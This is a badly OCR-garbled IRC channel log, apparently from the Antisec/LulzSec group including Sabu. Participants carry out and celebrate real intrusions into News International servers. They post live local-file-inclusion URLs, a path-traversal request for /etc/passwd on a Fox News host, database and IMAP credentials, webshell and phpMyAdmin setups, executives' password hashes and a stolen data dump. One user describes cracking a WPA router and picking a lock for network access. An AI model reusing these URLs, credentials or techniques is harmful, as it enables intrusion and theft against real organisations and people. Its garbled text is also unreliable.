behold the new anti -troll weapon 
filling in their own butthurt forms 
heh 

02:44 <@Sabu> nice 

02:44 <@Sabu> anonymouSabu The Real Sabu 

02:44 <@Sabu> Let us show solidarity with the political prisoners that we respect 
the most. Tweet "I am [enter political prisoner here]" #antisec #voice 
02:44 <@sabu> Favorite Reply Delete 
02:44 <@Sabu> check my twitter 
02:45 <@Sabu> do eeeet 

02:45 <(asabu> LET US IMPLODE THAR TWITTTERS 
02:45 <~ 1^M RTed 

02:45 <~^^^^H i gotta do fin dsome hmm sec 

02:46 <@Sabu> IH a rt would be sweet<3 

did ^B^^^ fill in that form? 
RT tn^nemi message 

you 
no, I did 

because he wouldn't 



02:46 
02:46 




01 c 



Page 129 



60938 



# lsunnydays.log 

02:47 <@Sabu> hahha 

02:47 <@Sabu> how many have you filled out so faR? 



02:48 < 
02:48 < 



02:48 <(asabu> indeed 
02:48 <©Sabu> was worth it 



just that one 

so glad I designed the form, now butthurt can flow 



02:48 < 
02:48 < 



Assange could be counted as a political prisoner too 

sometimes it just takes 40 mins sitting down and doing shit-all 



but staring at photoshop and it pays off 



02:51 



#antisec #voice 



:D gotta keep it moving get all political prisoners 



we are Cynthia Neun. 

02:53 <@Sabu> sex 
02:57 <@Sabu> its starting 
out there represented 
03:13 < ^^^H sup 

03:14 < ^^^1 BATTLE STATIONS, BATTLE STATIONS! 

03:15 *^^^P"'ts on his battle mask. 
03:15 <^^H OPTIMUUUUUUUUUS! 
03:16 < @SaEu > ;000 

03:18 <(£ ^^B do n't ever watch this movie. . .can't repeat that enough 
03:19 < ^^^^H USAF REACT console - Minuteman ill eam alarm (this is the current 
tone tha^sounas when the National Command Authority sends an Emergency Action 
Message to the Minuteman silos, usually a test or exercise but if not.... NOT 
GOOD ! ) 
03:19 < 
03:19 < 
03:19 < 
03:19 < 
03:20 
03:20 
03:24 
03:24 
03:25 
03:25 
03:25 



03:28 < 
03:29 < 
03:30 < 
03:30 < 
03:30 < 
i nqui re 
03:31 
03:34 < 
03:37 < _ 
also have 
03:45 
peer] 
03:48 
03:48 
03:48 
03:48 < 
03:48 < 
03:48 
will 



http : //www. pol i cei nterceptor . com/sounds/EAMl.wav 
lawl 

if you hear that sound, run. 
where to? 

anywhere, before ze germans get there 
lulz 

^B^m http://imgur.com/9GTe7 
^^g^nery 

maybe you want to give axx to some people so they can add? 
ultima just gave it to me, one of the (rare) trusted brazilians 
letz fuck some shit up 
will add that one 
anyone here got an enemy on efnet? 

apparently 

the ddos on anonops originated from efnet 
dunno if that's confirmed tho or who 
lets drop efnut 
meh not my favorite choice :p 
07:30 ^■■H 

^e/sSDJhLKr/wwwsi vugobcl . html pass : Fr33 ! nf 0 

chile government 
that Tcnoru^lploaded 
ni ce 

this becomes an awesome collection 

i dunno who told me that with the efnet guys, i will try to 

has quit [input/output error] 
too bad imgur has no votings 

would actually be cool ot have that on our own site., so we could 

sections for videos a nd music 

^^^^^^^^^^^H has quit [Connection reset by 




< 
< 
< 
< 
< 
< 

03:25 < 
03:25 < 
03:25 < 
03:26 < 
03:26 < 
03:26 < 
03:27 < 
03:27 < 

03:27 < 

http : //www. 2shared . com" 




07:30 




03:48 
03:48 < 
04:00 < 
04:00 < 
04:00 




try to 1 nqui re 




sunnydays 
05:33 < 
05:34 
05:34 
05:34 




05:35 
05:38 

it has 
oh? 

looks again 



has joined #! sunnydays 

jy Chanserv 
that + chorus uploaded 

ni ce 

this becomes an awesome collection 
i dunno who told me that with the efnet guys, i 

has quit [input/output error] 
too bad imgur has no votings 
ITslike I think 
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04:00 <~ 
04:02 <~ 



now restricting applause 
Watching you. Expect us. 

nice 



# lsunnydays.log 
ah need to sign it probably? 

Otoptweets just favorited your tweet: "in Belarus, officials are 
http://t.co/eNyZGll | Way to go, #Belarus Gov't. 




04:02 
04:02 < 
04:02 < 
04:03 
04:03 < 
04:03 < 
04:04 < 
04:04 < 
04:04 < 
04:13 < 
04:13 
04:13 
04:19 
04:19 
04:19 <' 
04:19 < 
04:20 H _ 
#! sunnyoays 
04:22 < 
04:22 < 
04:22 < 
04:22 < 

04:22 < 

correct stuf 
04:22 < 
04:23 < 
04:23 < 
04:23 < 



keeps calling you 






I see 
who is 
:o 

not a bloody clue haha 
lol 

LOL 

http : //twi tter . com/# ! /toptweets 
everyone! Following 

* Connecting to efnet.xs4all.nl (194.109.129.220) port 6667... 
lawl 
nulled 
speaking of top tweets 
http : //twi tter . com/# ! /SOcent 
not sure if I'm tired 
but is this actually SOcent? 

[^M^^kerpi a-B2D68BCD. dial up. adsl .anteldata.net. uy] has left 

Leavin^^^^ 

hm 47M but not verified 
4,7 

oh he is 

well then i guess that would be him 
seems the account has some really intelligent/grammatically 

wouldn't pin 50 as that kind of tweeter 
well maybe it isn't him as such 
but an PR office 

would not really believe that obama tweets himself either. 



not 



even sure he sees them all 



04:23 < 
04:23 < 
04:24 <' 
04:24 < 
04:24 gp _ 
#! sunnyoays 





maybe sometimes 
Obama ends his own tweets in "BO" 
usual 1 y 

or he has just an spellchecker guy 

kerpi a-B2D68BCD. dial up. adsl .anteldata.net. uy] has joined 

by Chanserv 



mode/#! sunnydays [+o 

who corrects his" stu1 
ah okay didnt know 
i font follow him :) 
wei rd 

did i part or somethin 
yes you parted 
lawl 

didnt realize it 
heh 

closed wrong window accidentally i guess? 
ye 



04:24 
04:24 
04:24 
04:24 
04:24 
04:24 
04:24 
04:24 
04:24 <(< 
04:24 <~ 
04:25 
04:39 <(< 
04:51 

http : //www. networkworl d . com/news/2011/071411-hackti vi sm-moves-f rom-pranks-to . html 

?page=l 

04:51 <'~^^^^| didnt see this one before 
05:01 <@Sabu> yoh 
05:03 <@Sabu> yoyo 

Sabu: check query 
i dropped a chan 

but its okay, it wasnt used anymore anyway 
thank god, one less :p 
http : //twi tter . com/# ! , 
puffs cigar 

I believe this is what they call a complete curb stomp 

<(asabu> wel 1 

05:16 <@Sabu> a curb stomp was when a white man put a black man to kiss the curb 
05:16 < @Sabu> an d he'd stomp his face open 
05:16 <€^^^H did it start as white/black? 
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05:03 
05:03 < 

05:03 < 
05:04 < 
05:13 < 
05:13 
05:14 < 
05:15 
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60940 



05:17 < 
05:17 



#! sunnydays.log 
hmm I always thought it was just a generic non-racial term 
looks up history 
05:22 <@Sabu> watch: American History X 
05:22 <@sabu> you see what a curb stomp is 
05:22 <(asabu> right at the start of flick 
05:25 <@Sabu> yo you got dox on teamg4yson? 




05:26 <(< 
05:27 <^ 



origins with whites/blacks 



never heard of that 

also knew what curb stompin' was, just didn't know it had 



05:27 < 
05:27 < 
05:27 < 




still need to watch that film 
http : // pastebi n . com/jznMVvPG 
if you meant Team Poison A 
05:28 <@Sabu> yeah you'll like it 

05:28 <@Sabu> and curb stomping is as racist as can be 

05:28 <@Sabu> just wanted you to know in case you posted on twitter 

05:28 <@Sabu> and got 90k angry mesages back 

05:28 <(asabu> ;) 

05:35 <~pii^ 

http : //dailybail . com/home/must- read-acti vi st-sunny-sheu-ki 1 1 ed-af ter-reporti ng-de 

ath-t.html 

05:36 <~^^^H wtf 

05:41 <~^^^^| ^^^^^M http://img88.imageshack.us/img88/5166/lulzr.png 



06:04 <@Sabu> suzp 



06:06 
06:06 
06:19 



06:19 <@Sabu> readi ng now 



Sabu: read that article 
but you probably did 

http : //i . i mgu r . com/9gx0u . j pg 



if you didnt know about it 



06:20 
06:20 
06:20 
06:22 




haha 

that image is golden 
so subtle hint on jester 



tw the 



:) 



guy hit me up some more 
06:22 <(asabu> telling me jester is run by a few people (hence the differences in 

wri ti ng/emoti ons) 

06:22 <@Sabu> one of them being @mach2600 
06:23 <~^^H^| why would tell us that? :o 
06 : 24 <©Sabu> http : //www. youtube . com/watch?v=CaNV7eCU2R0 
06:24 <@Sabu> hes actually on our side if you havent noticed 
06:24 <@Sabu> hes litrally trolling us and jesters people simultaniously 
06:24 <(asabu> but hes mocking them mainly 
06:24 <©Sabu> and they're taing him serious 
06:24 <@Sabu> taking 




06:24 
06:24 
06:25 
06:25 
06:25 
06:25 < 
06:26 < 
07:43 H _ 
#! sunnyoays 
07:43 < 
07:43 < 
07:43 < 
07:43 < 
07:43 < 

07:51 i 

[Connection reset 
07:51 H _ 
#! sunnyoays 
08:45 
08:46 < 



08:46 < 
08:48 
quit: 

08:49 H _ 
#! sunnyoays 
08:49 < 
08:49 < 



heh, well i never took him serious anyway 
but i wasnt really thinking he was on our side 
felt more like he's using us for his publicity 
_ why the threats on twitter? 
Sabu> its part of the game 
heh k 

well j ester run by few ppl makes sense 

[~^^^^^^Bkerpia-70CBA455 .di rect-adsl . nl ] has joined 

ohai ! 

I am now iRCing from a stage 
in the middle of a city 
on someones WPA-secured thomson 

which had a generatable default key :D 

[ . . - 



kerpia-70CBA455.direct-adsl.nl] has quit 
kerpia-70CBA455.direct-adsl.nl] has joined 
has joined #!sunnydays 



hey guys 

what be the happening? 

[~^^^^^^|kerpia-70CBA455.di rect-adsl 







ohai 

I'm IRCing 



nl] has quit [user 
kerpia-70CBA455.direct-adsl.nl] has joined 



rom a festival stage in the middle of the city 
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08:49 < _ 
(generatei 
08:49 
08:50 
08:50 
08:50 < 
08:50 < 
08:51 < 
to get 
08:51 < 
08:51 
08:52 
08:52 
08:52 
08:52 

clicking = 
08:53 < — 
08:53 < 
09:03 < _ 
into watch 
09:11 
09:18 
09:18 < 
09:18 < 
09:18 
09:18 < 
09:18 < 
09:18 
09:22 
timeou 
09:28 B , 
#! sunnyoay 
09:28 < 
09:36 H 
timeou^r 
09:45 H , 
#! sunnyoay 
10:27 <' 
10:27 < 
10:28 < 
10:30 < 
10:30 < 
10:31 
10:31 
10:31 
10:31 
10:31 
10:31 
10:32 < 
10:32 < 
10:32 < 
10:32 < 
10:32 
shit 
10:32 
10:32 
10:33 
10:33 
covered 
10:33 < 




#! sunnydays .log 
on a WPA-protected Thomson network that had the default 

with a filled refrigerator of soft drinks 
and electricity, 
how epic is this? :D 
NICCE! ! ! 
THAT is epic! 

im iRC'ing from what has to be the most awkward, funniest hack 

e internet I ever pulled off 
Cracked the WPA 

then some RADIUS shit dropped my connect 
so I realized the router was in the room beside me 
and the lock on the door was a shitty warded lock 
'•hello lockpicks* 

ethernet cable + default administrative password + some simple 

free internet for everyone 

announce that the internet is now free 
... and then run client side exploits 

- preparing to get us a drop address, talking a friend 

or me 

has quit [User quit: Leaving] 

lol 

al so 

while on this stage 

I worked on my javascript desktop environment 
it now has workspaces 
:D:D:D 

unlimited workspaces.. 
[~^^^^^^|kerpia-70CBA455 .di rect-adsl . nl ] has quit [Ping 






10:33 < 
10:35 < 
10:35 < 
10:35 < 
10:35 
10:35 
10:35 
10:35 







kerpia-70CBA455.direct-adsl.nl] has joined 

I accidentally my power adaptor. 

kerpia-70CBA455.direct-adsl.nl] has quit [Ping 

kerpia-70CBA455.direct-adsl.nl] has joined 

well damnit 

how far are others with cracking the hashes? 
also hi 
ohai 

:3 

sup ^^^1 

I'm on a festival stage 
:3 

literally 
:0 

at a table 
wait what 
with electricity 

and internet from a thomson router with default password 
Like big festival? 

did 13 hours of 'stage surveillance', making sure noone steals 

read: 13 hours of programming 
LOL 

also i hate thomson ;.; 

and it pays 8 euro an hour, which means my hosting costs are 

months again :P 

nicely done ^^^^ 
i tip my hat to you 
and yes, fairly large local festival 
al so 

I worked on my javascript desktopp environment 
tonight 

and it now as workspaces 
:3 

has* 
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#! sunnydays . log 

10:38 < ^^^^^^B unlimited workspaces, too 
10:39 <'^^^^F°' 

10:39 <^^B^^H you have too many strange projects :P 
10:39 < ^^^^H 1o1 

10:39 < ^^^^^^1 don't say a javascript desktop environment is a bad thing :3 

10:39 < ^H^^H also 

10:39 < ^^^^^H WORKSPACES 

10:39 < ^^^^^H FUCKING WORKSPACES 

10:39 <^^^^H :333 

10:40 <(£^^^^^^rwe1 1 it does sound like an interesting project indeed :0 

10:40 < ^^^^^k sec 

10:40 <^^^^^^H 1emme upload 

10:40 <^^^^^^^rfucki ng workspaces even? 

10:40 '^O't^ just 

10:40 <^^^^^^B '^o'^ erotic 

10:40 <(c^^^^^H^workspaces 

10:42 < ^^^^^^ta http://yunicc.ws/b1adieb1a/jsde.htm1 
10:42 < ^^^^H also 

10:42 < ^^^^^^B note the workspace thingies 
10:42 < ^^^^^H at the bottom 
10:42 < ^^^^^^H of the screen 

10:43 <^^B^^1 @ ^^^H 

10:43 <(£^H^^r~'~hat^^H 

10:43 <^^H^^H is 

10:43 <^^^^^^H fucking 
10:43 <^^^^^^B ncie 



< ^^^^H :3 

10:45 < ^^^^^^H in the future it will also have automated window rearrangement 

10:45 < ^^^^^^1 based on content type 

10:45 < ^^^^^^H also window filtering 

10:45 < ^^^^^^H only showing certain windows 

10:45 < ^^^^^^H based on content type 

10:45 < ^^^^^^H a drag and drop system 

10:45 < ^^g^^l etc 

10:45 < ^^^^^^1 other miscellaneous stuff 

10:45 < ^^^1^1 (also, I think I just wrote the first javascript desktop 
envi ronmen^^^^^ roper workspaces >.>) 

10:46 <€^^H^^| it does seem quite awesome, sure to stab me when its running 

somewhere with the misc stuff in :P 

10:47 < ^^^^^^H it will just be a platform 

10:47 < ^^^^^^1 that developers can build their own applications on 
10:47 < ^^g^m I will also be building an 'intelligence and research' 
appi i ca tion on it mysel f 

10:47 < ^^^^^H and release all of it as wtfpl 

10:47 < ^^^^^^1 let's see what people come up with :D 

10:48 < |E^B^| your.org is already interested in ditching extjs and switching 
to this ^^^TORT^hen it's done 
10:48 < ^^^^^H (whitelabel isp) 

10:48 < ^^^^^^^ someone is already planning on building a bitcoin block 

explorer or^o^^T it 

10:48 <^^H^^B so yeah :P 

10:50 <g ^^B^rn ais 

11:04 [^^^^Bkerpia-70CBA455.di rect-adsl .n1] has quit [User 
quit: ^ 

11:10 ^B^^^ylj^H^^H^^I has joined #! sunnydays 
11:10 moae/T!sunnyaays[+o by Chanserv 

11:10 <«■ ohai :) 
11:11 <^^HI^B ohai 

11:29 <@^^| btw "MurdochMayhemMonday" or "MurdochMadnessMonday" < — what do u 

think? 

11:30 <€^^^^^HMayhem. 



12:03 ^■Hj^l [^^I^^^^^^HI^^^^^I joined #!sunnydays 

12:03 moae/^^unnyaay^^^^^^^^^^^Dy ChanServ 
12:17 ^^^^^H [^^^^^^^^^^^^^^^^B has 

12:18 ^HH^I ^^I^H^^^^^^^^IH 

12:18 BB^ooeT^sunnyaay^^^^^^^^^^^^Dy ChanServ 

12:26 <^^HH^^| sup 

12:39 <^^^^H Hi ^^^B 
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#! sunnydays.log 
has joined #!sunnydays 
by Chanserv 



has quit [Ping timeout] 



13:02 
13:02 
13:02 <^ 
13:25 
13:25 
13:25 
13:27 
13:28 
13:28 <^ 
13:28 
13:29 
13:29 
13:29 
13:29 

13:31 . 

http : //extras . t1 mesonl i ne . co. uk/f ooter2b . php?act=1 s&d=%2 Fu01%2Fzonedata%2 Fvgporta 
12%2F&sort=2d 
13:31 < 
13:32 < 
13:32 < 
13:34 <' 
13:34 <' 
13:34 <' 
13:34 <' 
13:34 <' 
13:34 <' 



found the interface for that database 
a make a local copy and test it out 

found it? 
^1 has joined #!su nnydays 
^^o ^^^^^^^^H by Chanserv 




www 

thats progress :D 
ni ce 

<?php 
Semai 1 

Saccountname 
$pass 
$host 

$wri tepath 



= "vg63300^ 



="s3ndfiles"; 
= "143.252.81.8"; 



"/uOl/www/vgportal . newsoftheworld.co.uk/basedi r/import/dataimport" ; 
13:34 <^PHiji^B| $1ogFi1e 
"/var/t mp/vgporta 1 / notw_i map_i mport . 1 og" ; 
13:34 <MH^^H Slooprime = 60; 

13:34 <^^H^^B Simapport = 143; 

13:34 <^^^^^H ?> 
13:34 <^^^H^^^| imap config 
13:34 
13:35 <^ 

13:35 

http: //extras. ti mesonl ine. CO. uk/footer2b.php?act=ls&d=%2Fu01%2Fzonedata%2 Fvgporta 
1 2%2Fwww%2Fvgportal . newsoftheworld . co. uk%2Fbasedi r%2Fconfig%2F&sort=2d 




we got ftp login too 




13:35 <- 
13:35 
13:36 <(i 
"143.252 
13:36 <i 
"mysql",- 
13:36 <f _ 
"vg_notwuser' 
13:36 <(! 
"i nfeedz"' 



patience pays 
do we have cracked pw yet? 



26", 



13:36 <q 




vg_notw , 


13:36 <@ 


we c 


13:36 <@ 


or 


13:36 <q 




13:36 <q 






=> "local 



serve r_i p 
"db_type" 
"db_user" 
"db_password" 
"db_sid" 



=> 



=> 



=> 



=> 



=> 



$config["ldap"] = array ( 



13:36 < 




"ldap_host" 

"ldap_port" 

"1 dap_l ookup_user " 

"1 dap_l ookup_pass" 

"member_of_stri ng" 

"config_file" 



=> 



"/us r/1 ocal /www/htdocs/ei senhower/ti ps220/conf i g/1 dap_conf i g . xml . php" , 
13:36 <VIIBM "base_dn" 
=> ■dc=teknodev , dc=l okal " , 
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# lsunnydays.log 

ni ce ! ! ! ! 

i 'm not sure, still trying to figure out what everything is 
ok im compressing everything now 
ill give you the link 



and downloading a copy of todays db 
oh shit 

vgportal2-backup.tar.gz 918.85 MB 

I think I included a load of data, like photos from sources 

Should I split the data into 50mb files and download? 
give me a link 

i will download it with lOOmbit 
and remove unimportant files 
then repack it and send you 



'tmp' 



=> 



=> 





13:36 < 
13:37 < 
13:40 < 
13:40 < 
13:40 < 
13:41 < 
13:43 < 
13:43 < 
13:44 <' 
etc. . 
13:44 <' 
13:45 < 
13:45 < 
13:45 < 
13:45 < 

13:45 < 

http : //ext ras . ti mesonl i ne . co . uk/f ooterZb . php?act=l s&d=%2 Ftmp&sort=2d 
13:46 <^|^Hi^H :D 
13:48 <VH 

"/var/tmp/vgportal /mxtel ecom/" , 

13:48 <<simm 

"grab_from => "http://mms.mxtelecom.com/", 

13:48 _ 
"userName 
13:48 <(cp 
"password' 
13:48 < 
13:48 < 
13:48 
13:49 
13:49 
13:49 
13:50 
13:50 
13:50 
13:50 
13:50 
13:50 < 
13:51 < 
13:55 < 
13:59 < 
13:59 < 
13:59 < 
downloa 
13:59 < 
13:59 
13:59 
14:00 
14:00 
14:00 
14:00 
14:00 
14:01 
14:01 

like 7 years 
14:02 < 
14:02 < 
14:02 < 
14:02 < 
14:02 < 
14:02 < 
14:02 < 
14:04 <' 
14:04 <' 
14:04 <' 
14:04 <' 

14:04 I 

[Ping timeout 



=> 



this! 

we need to find the new link for the mms gateway 
:D 

it seems like a lot of links are down 

but maybe the creds are still valid 
yup 

i'll have a look 

okay 

loading with 2MB/s 
lOmi n 

are you downloading the backup to a web box? 
could I download it from there? 
of course 

ftp : //74 .86.39 . 231/vgportal 2-backup . tar . gz 
or should i clean it first? 

idk how fast you can load it from there, probably best speed if you 
multi -threaded 

its ok 
ok 

like use a download manager 

just love this server 
guess the admin is dead or something aa 
lol 

even can setup vm's there 
haha 

i used to have a hacked shell i used for ire for hmmm something 

for the same time span admin did not log in 
then one day he did 

1ol 

it was a sad day 

XD 

Imao 

. wtf? 

btw 

the connection to the server is kinda tunneled 
http : //whoi s . domai ntool s . com/2 . 19 . 118 . 216 
trough this server now?! 

kerpia-B2D68BCD.dialup.adsl .anteldata.net. uy] has quit 
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14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

#!s 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

bag 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 

14 




unn^fiys 

23 <' 

23 < 

24 < 
24 < 
27 

27 < 
27 < 
27 < 
27 < 
27 < 

27 < 

28 < 
28 < 
28 < 
28 < 
28 < 
28 < 
28 < 
28 < 
28 < 
28 < 
28 < 
28 < 
34 
34 
34 
34 
34 
35 
35 
35 
35 
35 
35 
s 

35 
36 
36 
36 
36 
36 
36 
36 
37 
37 
37 
37 
38 
38 
38 
38 
38 
38 
38 
38 






#! sunnydays .log 
Akam ai Technologies is also a government contractor btw 
to the server you upped the file too? 

no 

the server we got shell on 
http : //extras . ti mesonl i ne . co . uk/f ooter2b . php 
https : //webedi ti on . mxtel ecom . com/ 
ah ok 

ok nm i'm downloading now 

tell me when you finished 
i wi ll shut down the ftp srv then 

"H^^^kerpi a-63B8706F. dial up. adsl .anteldata.net. uy] has joined 

ok thanks 

ha I wish my connection was 2mb/S 
120kb/s 

I live out in the middle of fuckin nowhere 
get lOOmb/s b y the end of the year <3 
mbit or mbyte :P 
lucky you! 
haha :p 
or course 

live out in the middle of fuckin nowhere 

too 
A same 
ame here 

reaping around (& 386kb/s 

Still manage to poke 2Mbyte off though 
it"^ a pain 
360 kb/s max 

20mbit conn here :/ 
downstream is ~48kb/s 

200kb/s max here 
wanted fibre but they dont offer that here 



wi 1 1 




mo 

_: not 



[+0 
[+0 



by 




een sorting some things out like packing my 



has quit [Ping timeout] 
CB47D490.A27E456C.IP] has joined #!sunnydays 

__ :x 
<: ~~ 

xoxox 
:D 

how's you? 
sup 

mode/#! sunnydays 

mode/#! sunnydays 

im good thanks just 
long left here ;_; 
awww 

wl though we're happy to have you back soon 

:D 

i'll be happy to get bk to see my friends i miss them all :( 
but atleast i got a tan xD Imao 

Jlulz 

hehe.. yeah and some mental energy i suppose 
vacation is always nice 

A 

it is :D 

Imao :D have you owned thesun yet? 
partially, still no root 
can you help crackin hashes? 

we have lots of data but no root 

what kind? 
md5's 
MDb not salty :> 
did we get their mysql user/pass ? 
full access 
and yes 
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14:38 
14:38 
14:39 
14:39 
14:39 
14:39 
agai n 
14:39 




14 
14 
14 
14 
14 
14 



39 
39 
39 
39 
39 
39 



14:39 
14:39 



#! sunnydays .log 

to then r mysql? 
yes 

ther we got the md5's 
mom i will link you 

dormy.newsint.co.uk is possibly the developers box 

ok have you scanned their internal network and tryed the user/pass 
St other services? 
<^^^H how? 

<S^^Hthey are not cracked yet 
<~^^^^| sabu already gave the md5 to hashkiller 
what is the mdS? 
and the mysql user/pass are unique 

wai t 

lots of juicy high up ppl 
https : //pastee . org/f 3s9x 
murdoch 

i got access to a few TB rainbow tables 
http : //pri vatepaste . com/f 791237f ec 

#sabu 
i s pw 

andy coulson 

http : //wi ki send . com/downl oad/242594/sun_auth_new. htm 
becca wade 
ese are the names to the hashes 
what are the passwords for? 

having a hew pw would be nice, would check on if i find shit in 





: pPPp 



14: 


:42 


<i 


14: 


:42 


<■ 


14: 


;42 


< 


14: 


;42 




14: 


;42 




14: 


:42 


< 


14: 


;42 


<i 


14: 


;43 


<i 


14: 


;43 


<i 


14: 


;43 


<i 


14: 


;43 


<i 


14: 


;43 




14: 


;43 




14: 


;43 




14: 


;43 


<i 


14: 


;43 


<i 


14: 


;44 


<i 


14: 


:44 


<i 


14: 


:44 


<i 


14: 


;44 




14: 


;44 




14: 


;44 


<i 


14: 


;45 




too 




14: 


;45 


<( 


14: 


:45 




14: 


:45 




http: //I 


14: 


;45 


<( 


server 



what are the passwords for? 
they haz webmail rite? 
<(S^^B Athese are the names to the hashes 
they are for some internal cms 
we dumped it and set ip up locally 
to figure out more until we cracked hashes 
no they use google mail 

: //wwwTgoogl e . com/a/thesun . co . uk/Servi ceLogi n?servi ce=CPanel&passi ve=1209600 
i nue=https : //www.googl e. com/a/cpanel /thes un . CO . uk/Dashboard&f ol 1 owup=https : / 
googl e . com/a/cpanel /thesun . co . uk/Dashboard 
thats their google apps login 
ah even better 

i love how all kinds of companies use gmail 
the dont use only google mail 
w^uso found some exchange login panel 

always a familiar interface :D 

yeh 

https://remotemail.newsint.co.uk for the newsint mails 
but we are still missing the domainname 

i guess 

but the google thing is nice 
we will probably have success there 
well, it will just be ©thesun . co. uk right? 
no we got more 
look at the files aa 
ahh 

yeh for the other sites? 
probably 

but mostly thesun, right 
k :) 

but also some notw i think? 

was the mysql local or remote? 

if it's remote and there is httpd running we can get a shell on it 




(^^m bi 




remote we already pwned the second server 

they only change to gmail recently 

ttp : //wi ki send . com/downl oad/242 594/sun_auth_new . htm and 
n/downl oad/312038/sun_auth . htm 

all older mails than a year are stored on their exchange 
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#! sunnydays .log 

this is what we got 
oh so you all ready have a shell on the mysql server? 
yes 

we have 2 webshells on the servers 
micrositel was using micrositeZ as mysql server 
so we pwned micrositeZ after finding credentials on micrositel 

it was really simple lol. I set up a hostfile with 



14:45 <' 
14:45 < 
14:46 < 
14:46 < 
14:46 < 
14:46 <' _ 
basically 

14:46 <■ 

extras.thesun.co.uk going to the second servers ip 



14:47 <' 

14:47 <' 

14:47 <' 

14:47 <' 
in the 

14:47 < 

14:47 < 

14:47 < 

14:47 < 

14:47 <' 

14:47 <' 

14:47 <' 

14:47 <' 

14:47 <' 

14:48 <' 

14:48 < 




Imao 

yep, the servers are identical at some points 
have you scanned their internet range for other machines? 

and the second server had a mirror of the Ifi that got us in 
"i rst place lol 

err internal* 
yes i did 

It took like 5 minutes 
"Mirror of the LFI" heh 

A 

:D 

the unpatched version : 
: P 

mce and did you try the user/pass from mysql with other services? 
what was the mysql user/pass/host? 

oh and we patched the original hole so other people 




wouldn't find it and fuck 
14:48 < 
14:48 < 
14:49 < 
"server_i p 
14:49 <' 
"db_type 
14:49 < _ 
"db_user" 

14 : 49 <' 

"db_passwor 
14:49 <" 
"db_sid' 
14:49 <' 
14:49 <' 
14:50 < 
"143.252" 
14:50 < 

=> "mysq 
14:50 <' 
=> "vg_sunuser 
14:50 

=> "infeeaz 
14:50 < 
14:50 < 




ngs up 



=> "143.252.77.126", 

=> "mysql", 
=> "vg_notwuser" , 
=> "infeedz", 

=> "vg_notw" , 
vg_notwuser got same password as root user 

i set up a phpmyadmin you can look there 



server_i p 
"db_type" 
"db_user" 
"db_password" 



=> 



[22:12] <- 
[22:12] < 



http : // ext ras . ti mesonl ine.co.uk/. myadmi n/ 



its was basically like this: 
1) Discovered 



14:50 <' 



[22:12] 



http : //extras . ti mesonl ine.co.uk/. myadmi n/ server_pri vi 1 eges . php?l ang=en-utf-8&serv 
er=l&col 1 ati on_connecti on=utf 8_general_ci 



14:50 < 



[22:13] 



^ 3) So there is a User with no password, no host 

restric tion a nd full ac cess c alled 'vg_notwuser ' 
14:50 <^^^H [22:13] <(S^^^ 4) Could not change config.inc.php of this 
phpMyAd min -> Fuck 

14:50 <<Sf^^ [22:14] <(^^^B 5) Copied the whole thing to our Docroot and 
changed the config (user^^oot' to 'vg_notwuser') 

resul t->http : //extras . thesun . CO . uk/wordpress/pma/ . myadmi n/ 
i guess that was much input :D 
afk 

im currently making a local copy of about a GB of internal 




918MB 
ID 
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#! sunnydays .log 

can't wait to get home im just going to hack something because 
d anything in weeeeeeeeeks and it's killing me xD 
I still want root so we can deface thought! 
es* 
lol AA 
lol 

im still working on my root-plan 
enjoying your holiday? 
i 've had to pack my bags today :( 
got abstinence symptoms :D 
ok, if we get root on either server, i 'm pretty sure we get 

Enjoy the sun while you have it. its better than the rain! 

we might even get root on a load of different internal servers 
the admin might just of added his root keys across all the 



heir server on their WAN? 

can we run something like nmap on the boxes? 
I think so 
we cant 
we got their CIDR ranges? 
e we cant compile anything 
of them 

can use a perl script to scan with 

we have the ip's for their internal name servers 

Could we dump all the DNS records? 



14:56 
14:56 
14:56 
14:57 
14:57 
14:57 
14:57 
14:57 
14: 57 
14: 57 
users 

services with them see what we get access to 
14:58 ' 



Good idea 

we shoulc^try this 
we need to figure out what kinda boxes they have on their Ian 
theres one thing 
e servers is tunneled trough akamai 
we need to map everything out then we make 2 lists, one of all the 
and one of all the passwords we have and we try and brute all their 



14:58 

14:58 

14:58 

14:58 

14:59 

14:59 

14:59 

14:59 

14:59 

15:00 

15:00 

15:01 

15:01 

15:05 

15:07 

15:10 

15:11 

15:11 

15:12 

http 

15:13 

15:13 

15:13 

15:13 

15:14 

15:14 

15:15 

15:15 

15:15 




< 

<| 
<| 
<| 
<| 
<| 
<| 
<| 
<| 
< 
< 
<| 
<| 
<| 
< 
< 

// auth . tpa . f oxnews . com/ phpl dapadmi n/cmd . php?cmd= . ./. ./. ./. ./etc/passwd%00 

has joined # I sunnydays 
mode/#! sunnydays L+o by ChanServ 

did we find http^conf yet? 

hates airports. 

those that load for you guys? 
'•does 
mmm 

not anymore : | 
times out 
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but this wont work probably 
:D 

ce the admin works alone on this server 
but he may just admin that box 
dormy.newsint.co.uk is possibly the developers box 
can we scan that box? 

or find its external ip? 

robably 

I found a lot of ssh connections coming from that box 
pardon my ignorance but ping doesn't show the ip? 
11 just show the local ip doing it internally i think 
ok 

maybe the internal nameserver will return the external ip? 
seem to own this range 143.252.0.0 - 143.252.255.255 

ok 

is the fox news Ifi working for you guys? 
the link? 
for the Ifi? 
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15:15 
15:16 




15:38 
15:45 



#! sunnydays .log 

ya 

me too 

ust keeps loading and loading and loading and loading for me :S 

WTF? 

they found it? 

must have better sysadmins than the sun 

http://74.86. 39.231:4433/ 
trying to setup the vg system there 
not as easy as tought 

whats going wrong? 

basically i cant see it 
because it redirects on error 
$config["module_extauth"] = array C 



ok 



'gotoOnError' 



=> 



'http://google.de", 





i set all passwords to 
antisec 
ok 

any idea what the error is? 
not yet 
ok 

Ok, imma go. :) Take care guys, will be around every now and then 

has quit [user quit: Lost terminal] 
E.CB47D490.A27E456C.IP] has joined #!sunnydays 



1.23 second(s) 
by H 




ony? 

Ping reply from 

e/#! sunnydays [+o 

howdy gentlemen 
what's the progress? 
ohaithar ■■^H 

there shoT^^Te two more images here in the backlog 

one from sabu one from me 
images :D? 

btw... *EA2b581bf18084284fb479C7524CA2c0d05b9535 
mys^S hash 
i ndeed B^^^ 
I addec^tnem to the album 
cheers :) 
hi 

dowTnoa^ig approx IGB of internal data no 

now 

owdy ^^^^^^B great work 

"0l839bETCB47D490.A27E456C.IP] has quit [User quit: 




Lost 



15:51 < . 

http://www.t 




